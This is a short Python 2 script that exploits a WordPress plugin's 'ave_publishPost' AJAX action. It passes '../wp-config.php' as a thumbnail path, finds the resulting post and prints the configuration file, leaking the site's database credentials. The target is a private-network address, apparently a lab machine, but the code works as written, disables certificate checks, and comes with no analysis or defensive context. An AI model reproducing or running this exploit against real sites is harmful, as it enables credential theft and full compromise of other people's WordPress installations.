import ssl import random import urllib2 import re ssl._create_default_https_context = ssl._create_unverified_context url = "https://192.168.43.28:12380/blogblog" # insert url to wordpress randomID = long(random.random() * 100000000000000000L) objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php') content = objHtml.readlines() for line in content: numbers = re.findall(r'\d+',line) id = numbers[-1] id = int(id) / 10 objHtml = urllib2.urlopen(url + '/?p=' + str(id)) content = objHtml.readlines() for line in content: if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line: urls=re.findall('"(https?://.*?)"', line) print urllib2.urlopen(urls[0]).read()